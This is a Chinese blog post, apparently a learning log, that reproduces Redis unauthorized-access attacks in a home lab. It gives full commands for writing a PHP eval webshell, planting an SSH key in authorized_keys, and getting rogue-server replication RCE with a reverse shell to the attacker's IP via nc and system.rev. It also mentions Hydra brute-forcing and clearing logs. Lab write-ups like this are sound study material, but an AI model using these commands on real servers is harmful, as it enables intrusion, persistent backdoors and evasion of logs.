最近真的认识到自己的不足了,在笔试的时候遇到了好几题和redis有关的题目,但是我居然完全不知道这是什么(*/ω\*)。所以这一系列的文章用于记录关于redis相关的漏洞复现学习过程,这一段时间应该都会在学习这个吧。
一、介绍
Redis(Remote Dictionary Server ),即远程字典服务,是一个开源的使用ANSI C语言编写、支持网络、可基于内存亦可持久化的日志型、Key-Value数据库,并提供多种语言的API。Redis被广泛应用于缓存、会话管理、实时分析、队列处理、排行榜、地理空间索引等各种用例。它的简单性、高性能和可扩展性使其成为许多现代应用程序架构中的核心组件之一。
总之就是很快,一个很快的键值数据库。
6379:默认配置端口号
26379:sentinel.conf配置器端口
二、环境配置
虚拟机:Centos 7 centos-7-isos-x86_64安装包下载_开源镜像站-阿里云 (aliyun.com)
Redis版本:3.2.0 Index of /releases/ (redis.io)
1.安装
Centos的安装网上还挺多教程的,注意一下安装是要安装图形化界面,就不多讲了,介绍一下Redis的安装。
在上面的链接页面中搜3.2.0就能直接找到这个版本。或者在终端中输入以下内容:
wget http://download.redis.io/releases/redis-3.2.0.tar.gz
准备好文件后,进行解压(Linux控制台中,按下tab键可以自动补全名称)
tar -zxvf redis-3.2.0.tar.gz
-z 指定压缩或解压方式为gzip,一般用于压缩或解压缩tar.gz文件
-x 选择方式为解压缩
-v 显示详细过程
-f 指定文件名称
进入解压后的文件夹,并编译安装
cd redis-3.2.0
make
那么安装的过程就到这里,其他版本的安装也是一样的步骤。接下来讲解一下配置
2.配置与使用
/src目录下存放着主要源文件与可执行程序
redis-server 服务端
redis-cli 客户端
redis-sentinel 监控集群运行状态
redis-benchmark 压力测试工具
返回上级目录,找到redis.conf进行修改,这是redis的配置文件。
cd ..
vi redis.conf
(1)允许远程连接
将bind 127.0.0.1这一行注释掉(这里你可能需要学一点一些vi编辑器的使用方法,这里按i进入编辑,按esc结束编辑或者说返回命令模式,命令模式下使用/正向搜索,使用?反向搜索)
(2)关闭安全模式
将protected-mode改为no
将以上二者编辑完毕后使用:wq来保存并退出编辑器
将redis.conf文件复制到src目录下
cp redis.conf ./src/redis.conf
(3)启动与关闭服务
用启动redis-server示范,在redis-3.2.0目录下执行。一定一套注意图片中的版本号是否正确
./src/redis-server redis.conf
关闭服务则可以先查看进程PID,然后使用kill命令
ps aux | grep redis
kill -9 [PID]
ps 命令用于列出当前系统上运行的进程信息。aux 是一组选项,它们一起指定了显示详细信息的格式,包括所有用户的进程。
grep 命令用于在文本数据中搜索指定的字符串。在这里,它搜索包含 "redis" 字符串的行。
kill 命令用于终止进程。-9 选项是一个强制终止信号,它会立即终止进程,无论进程的状态如何。
当然,也可以直接在开启服务端的终端使用Ctrl+c。
(4)配置环境变量
修改~/.bashrc文件(kali系统下是~/.zshrc,可能用上所以提一下,虽然我在Kali上用3.2.0会出现版本问题)
vi ~/.bashrc
在最下方添加路径(按Shift+G可以快速到最后一行)
# Centos(路径请根据具体文件夹位置进行调整)
export PATH=/root/桌面/redis-3.2.0/src:$PATH
# Kali(路径请根据具体文件夹位置进行调整)
export PATH=home/kali/Desktop/redis-3.2.0/src:$PATH
最后使用下方代码或重启shell以刷新shell环境,使得新的PATH生效
source ~/.bashrc
这样我们就可以直接使用命令启动服务,而不用再加上前面的一长串路径了。
(5)安装Apache2
与Kali不同,Centos 7上本身没有安装Apache服务,所以需要手动安装。
当然你可以检查一下有没有安装:
yum -qa | grep httpd
没有回显就说明没有安装
使用以下命令安装Apache服务器:
# -y参数可以不加,默认之后的询问都为yes的意思
sudo yum install httpd -y
再次检验是否安装
配置防火墙允许服务通过
# 永久允许http服务通过
firewall-cmd --permanent --add-service=http
# 永久允许80端口通过
firewall-cmd --permanent --add-port=80/tcp
# 默认httpd服务启动
chkconfig httpd on
# 重新加载防火墙
firewall-cmd --reload
启动Apache服务
systemctl start httpd
设置服务开机自启
systemctl enable httpd
这样Apache就安装成功了,但此时还不能解析php命令。
安装php:
sudo yum install php
重启Apache服务:
systemctl restart httpd
这样服务器就可以解析php文件了
三、常用命令
1.连接服务器
在服务端开启的情况下,使用客户端连接Redis服务器
# 后面两个参数可以不写
redis-cli -h [服务端IP] -p [端口] -a [密码]
初次连接上服务端后可以设置密码
2.设置密码
config set requirepass [password]
在有密码的时候,可以选择在登录时添加-a参数输入密码
或者在登录后,再输入密码
auth [password]
这里其实有个问题,重启服务器后,密码会丢失。我们需要直接在配置文件中进行配置
在requirepass foobared下面一行添加
# 这一步会使得连接数据库需要密码,接下来的未授权访问复现会涉及到无需密码登录的情况,届时请注释掉这一行
requirepass [password]
之后使用配置文件启动服务端就可以了
3.常见命令
设置键值
set [key] [value]
获取键对应的值
get [key]
检查键是否存在
exists [key]
删除键值对
del [key]
四、漏洞复现
1.未授权访问写webshell
在未授权的情况下登录Redis,并且在网站路径下写入一句话木马(话说,按照写文章的时间来看,我是不是还没有介绍过一句话木马和接下来要用到的蚁剑。嘛,之后在pikachu的攻略里会介绍到的。)
(1)前提条件
1. 存在Redis未授权访问
2. 登录的用户拥有读写权限
3. 知道网站的路径
以上三个条件分别用于:未授权访问、写入木马文件、确认木马文件写入位置
该漏洞的原理是由于配置文件的配置不当(也就是之前环节配置时,允许远程连接与关闭安全模式),这导致了任何机器都可以登录数据库。当然,如果数据库没有设置密码或者存在弱口令,也可以被攻击者直接登录或者使用Hydra直接爆破。
(2)复现过程
这里又开了一台Kali虚拟机用于攻击,理论上直接在本机上进行攻击也是可以的。
首先在靶机上开启Apache服务
systemctl start httpd
可以通过netstat命令查看80端口是否开放
# -n表示以数字形式显示地址与端口号,而不是尝试解析为主机名或服务名
# -t表示显示与TCP协议相关的连接
# -l表示显示正在监听中的端口
netstat -ntl
使用攻击机连接Redis服务器
如果你出现了如下的报错(这里我是在其他的Centos连接时报的错,所以终端界面长得不大一样)
这个是因为你服务端系统的防火墙限制了端口,类似之前配置Apache服务时使用过的命令,使用以下命令开放端口:
# 永久开放防火墙的6379、6380、16379端口
firewall-cmd --permanent --add-port=6379/tcp
firewall-cmd --permanent --add-port=6380/tcp
firewall-cmd --permanent --add-port=16379/tcp
#重启防火墙
firewall-cmd --reload
这样问题应该就能解决了(当然你也可以直接关闭防火墙,但不推荐)
由于在最开始的环境配中,我们在配置文件里设置了允许远程连接并关闭了安全模式,所以可以在不输入密码的情况下,直接使用命令进行操作。
当然,在前提条件中,我们也提到过弱口令也会导致这个未授权访问。
比如,这个数据库的密码被设置为123456。那么我们就可以尝试使用Hydra进行爆破:
hydra -P [字典文件路径] [目标]
到这里为止,未授权访问就完成了(记得把密码去掉,方便后面的实验)。接下来我们尝试写入webshell。
# 进入Apache服务器根目录
config set dir /var/www/html/
# 写入php代码,分别为测试代码与一句话木马
set x "\n\n\n<?php phpinfo();?>\n\n\n"
set xx "\n\n\n<?php @eval($_POST['kuria']);?>\n\n\n"
# 生成后门文件并保存
config set dbfilename shell.php
save
这里添加内容的时候在开头与结尾加了很多\n用于换行,是为了防止乱码。
现在回到服务器,可以看到后门文件已经成功写入了。
使用浏览器访问一下
看到成功出现了phpinfo()的配置文件页面,说明后门写入成功。现在尝试用蚁剑连接一下,密码为“$_POST['xxx']”中的xxx部分。(中国蚁剑是渗透测试时常用的一款网站管理工具,网上的安装方法挺多的,接着挖个坑,之后单独写一篇)
可以看到成功的连接上了。
那么这个漏洞的复现就到此为止,让我们进入下一节。
2.写入SSH密钥登录
通过在攻击机上生成RSA公私钥,并通过Redis上传至目标机器,最后利用RSA公钥登录SSH。
(1)前提条件
1. 目标机器开启SSH服务
2. 已知登录用户名
3. 登录用户具有读写权限
(2)复现过程
首先,确认靶机上的SSH开启
systemctl status sshd
状态应为active(running),若未开启,则使用:
systemctl start sshd
确认服务开启后,在攻击机上生成RSA密钥对
ssh-keygen -t rsa
卡住三次按回车就行,第一次是问你文件名,第二次是要不要密码,第三次是确认密码,都不用设置。
回显提示我们生成的RSA密钥存放位置,可以去看看,文件已经确实生成了。
接下来,我们将key导出到key.txt文件中(要注意终端的当前目录,不要到时候找不到生成的文件位置:-P):
(echo -e "\n\n"; cat /root/.ssh/id_rsa.pub; echo -e "\n\n") > key.txt
然后将key.txt的内容通过Redis写入靶机内存:
cat key.txt | redis-cli -h [Sever_IP] -a [password] -x set pubkey
然后查询一下pubkey对应的键值,确认确实被我们写入了:
get pubkey
将RSA公钥写入靶机目录中:
# 切换目录
config set dir /root/.ssh/
# 保存为文件
config set dbfilename authorized_keys
save
你可能在这一步上会被卡住,提示错误:
192.168.52.133:6379> config set dir /root/.ssh
(error) ERR Changing directory: No such file or directory
实际上这个文件夹是存在的,只是因为没有被使用过没被发现而已,你可以在靶机上执行以下命令来解决这个问题:
# 其实就是生成一次RSA公钥
ssh-keygen -t rsa
好,问题应该解决了,现在查看一下靶机,确认确实生成了文件。
然后在攻击机使用SSH登录靶机,这里要到之前生成公钥的文件夹下,否则id_rsa文件要使用绝对路径
ssh -i id_rsa root@192.168.52.133
可以看到已经成功得到用户的控制台权限。
该漏洞的复现到此为止,但还有一些内容需要提及。
第一点,这个漏洞的前提条件有一条“知道登录用户名”,也就是说,不要局限于攻击root用户。我们在Redis切换目录的时候使用过命令
config set dir /root/.ssh
这里的root其实当前用户名,也就是说,在实际渗透的过程中,可以尝试换成别的名字,如admin、guets等等。同理,在时候使用ssh连接时,用户名也要切换成对应的名称。
第二点,该漏洞是使用了SSH进行远程登录,也就是说会留下SSH登录日志,也就是会留下你的各种操作记录。一般会被存放在/var/log/文件夹下的各种日志文件中。在进行某些渗透(红蓝对抗,不是别的!真的!!)的时候,你可能要注意清除自己的各种行为产生的记录。
3.远程主从复制REC
这个漏洞需要Reids 4.x版本之后,可以直接在安装了3.4.0的机子上安装4.0.8的,安装过程类似(只要改个版本号就可以了,记得最后把.bashrc的文件路径改一下)。
随着docker这种部署模式的盛行,单一的设备下很少会有除了Redis之外的服务。也就是说,设备上不会有SSH服务存在,以上的SSH写入Webshell的方式已经无法使用。因此我们需要使用一些新方式。
(1)原理介绍
写在最前面,这个方法有个局限性,就是目标机允许远程登录。如果只允许本地登录,那么就只能使用下一部分的方法。
Redis主从复制:是4.x版本之后提供的服务,只需在主节点上进行写入数据的2操作,就会同步到从节点上。
攻击者作为主机,目标机作为从机,二者之间建立主从连接。然后攻击者写入一个.so文件,并通过FULLRESYNC同步到目标机上
(2)复现过程
首先提供两个工具的下载地址:
redis-rogue-server:n0b0dyCN/redis-rogue-server: Redis(<=5.0.5) RCE (github.com)
Awsome-Redis-Rogue-Server:Testzero-wz/Awsome-Redis-Rogue-Server: Redis-Rogue-Server Implement (github.com)
直接利用工具,首先将redis-rogue-server解压后放入攻击机中,运行py文件,使用参数-h可以查看帮助。
python3 redis-rogue-server.py -h
正式开始,尝试用攻击机连接靶机
python3 redis-rogue-server.py --rhost [远程主机IP] --lhost [本地主机IP] --passwd [password]
接下来询问你直接选择交互shell还是反弹shell
选择i,直接在当前界面显示shell。可以看到下图中使用ifconfig命令显示的IP地址已经是靶机的IP了
选择r,则需要再打开一个终端用于监听指定的端口
然后指定反弹IP和端口
之后就可以在反弹shell中使用命令了
这里提一个提权的方法,使用以下代码:
python -c "import pty;pty.spawn('/bin/bash')"
这个命令使用Python编写了一个程序,引用了pty这个程序块,使用pty.spawn()函数在终端内生成一个交互式的shell对话。这个方法可以为我们在访问受限的情况下,得到更加全面的功能权限环境。
4.本地主从复制REC
(1)原理介绍
如果Redis服务器只允许本地登录,显然上面的方式就不适用了,因为无法在攻击机上登录服务器。所以接下来的方法需要配合其它的漏洞,请注意默认的一个前提条件:我们已经通过其它漏洞实现了本地登录Redis。然后要让攻击机作为主机,目标机作为从机,将恶意文件同步至目标机,并执行命令。
(2)复现过程
仍然是使用上面的两个工具
将redis-rogue-server-master文件夹下方的exp.so文件复制到Awsome-Redis-Rogue-Server-master文件夹下
# 进入redis-rogue-server-master文件夹内
cp exp.so [具体的Awsome-Redis-Rogue-Server-master文件夹路径]
然后开启Rogue-Server
python3 redis_rogue_server.py -v -path exp.so
接着来到靶机,打开Redis客户端,连接靶机服务器。先确认一下没有可用的模块。
module list
然后进入目录并生成一个文件,打开主从模式同步文件。
# 进入一个有写权限的文件夹
config set dir /tmp
# 生成一个空文件,用于主从同步恶意.so文件
config set dbfilename exp.so
# 开始主从同步,写入恶意文件
slaveof [攻击机IP] [端口]
看看攻击机,已经开始了同步工作。
关闭主从同步
slaveof NO ONE
载入模块
module load ./exp.so
查看模块
module list
攻击机开始监听
nc -lvp 9999
靶机执行反弹shell
system.rev [攻击机IP] [端口]
攻击机成功监听
用和之前一样的方法提权
五、后记
为什么每一次文章都好像隔了好久才发出来,总是会有好多事情。最近国庆节也一直在吃席(现在小孩都不咋喜欢吃席了),总算挤出时间把这个写完了。
感觉没什么好总结的,就我目前的理解来说,很多Redis的漏洞都是因为配置文件设置不当而引起的。给连接服务器的用户过高的权限,弱口令等等导致了可以向服务器内写入各种恶意文件。之后还有一些和别的漏洞联动而产生的新问题,或许会在写CTF赛题攻略的时候谢谢吧。
总算是对这个数据库有浅显的理解了,嗯嗯,学习之路道阻且长呐。
Comments | NOTHING